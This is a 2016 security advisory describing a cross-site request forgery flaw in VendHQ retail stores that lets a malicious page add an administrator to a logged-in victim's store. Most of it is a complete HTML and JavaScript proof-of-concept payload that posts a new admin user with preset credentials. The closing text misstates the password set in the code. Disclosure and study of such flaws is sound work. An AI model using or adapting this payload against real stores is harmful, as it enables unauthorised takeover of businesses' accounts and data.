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VendHQ Cross Site Request Forgery

Posted on 30 November -0001

<HTML><HEAD><TITLE>VendHQ Cross Site Request Forgery</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+
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# | _| |_/_| |_|___/__,_|_| |_|   _/__,_|_| |_|_|_|      |
# |                    // Breaking Security Since Born!      |
# |                                                          |   
# | [-] Website: https://ahsantahir.py                       |
# | [-] Email: support@ahsantahir.py                         |
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###
# Title : VendHQ Add-admin CSRF Vulnerability [Full-Store Takeover]
# Author : Ahsan Tahir
# E-mail : mrahsan1337@gmail.com / support@ahsantahir.py
# Web Site : www.ahsantahir.py
# Facebook: http://fb.me/ahsantahiratofficial
# Twitter : @AhsanTahirAT
# Tested on : Kali Linux 2.0, Windows 8.1
# Vendor : https://www.vendhq.com
###

Release Date:
=============
2016-10-14


Product & Service Introduction:
===============================
Vend is retail POS software, inventory management, ecommerce & customer loyalty 
for iPad, Mac and PC. Easily manage & grow your business in the cloud.


Abstract Advisory Information:
==============================
Ahsan Tahir, an independent vulnerability researcher discovered an add-admin CSRF vulnerability, which
could lead to full store-takeover of any VendHQ store!


Vulnerability Disclosure Timeline:
==================================
2016-07-20: Found the vulnerability.
2016-07-20: Reported to vendor.
2016-07-22: Vendor Replied.
2016-07-22: Vendor Fixed the vulnerability.
2016-07-31: Vendor rewarded the researcher.
2016-10-14: Public Disclosure

Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A Cross-Site Request Forgery vulnerability has been discovered in VendHQ stores.
This allows remote attackers to craft a HTML Form, which requests a new admin on vendhq stores, when
run by a victim, while he/she is logged in, and if the victim visits a page, his/her
store will be HACKED/Pwn3d! 

Proof of Concept (PoC):
=======================
This vulnerability can be exploited by an attacker if he/she injects this code in his webpage, which 
they want their victim to visit!

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://<your-store>.vendhq.com/user/create", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------30540262821640");
        xhr.withCredentials = true;
        var body = "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[vend_image_user_new][id]"
" + 
          "
" + 
          "
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[id]"
" + 
          "
" + 
          "
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[name]"
" + 
          "
" + 
          "Hacked
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[display_name]"
" + 
          "
" + 
          "A cashier
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[email]"
" + 
          "
" + 
          "ahsan@ahsan.com
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[password]"
" + 
          "
" + 
          "TestingPassword1
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[password_again]"
" + 
          "
" + 
          "TestingPassword1
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[group_id]"
" + 
          "
" + 
          "5
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[outlet_id][]"
" + 
          "
" + 
          "
" + 
          "-----------------------------30540262821640
" + 
          "Content-Disposition: form-data; name="vend_user[vend_image_user_new][image]"; filename=""
" + 
          "Content-Type: application/octet-stream
" + 
          "
" + 
          "
" + 
          "-----------------------------30540262821640--
";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

While a victim is logged in to his/her vend store and visits a webpage with the above code 
injected, a new admin will be created in their store, with the name as "Hacked" and the Password is "TestPassword1" 
and email: ahsan@ahsan.com

Credits & Authors:
==================
Ahsan Tahir - [https://twitter.com/AhsanTahirAT]
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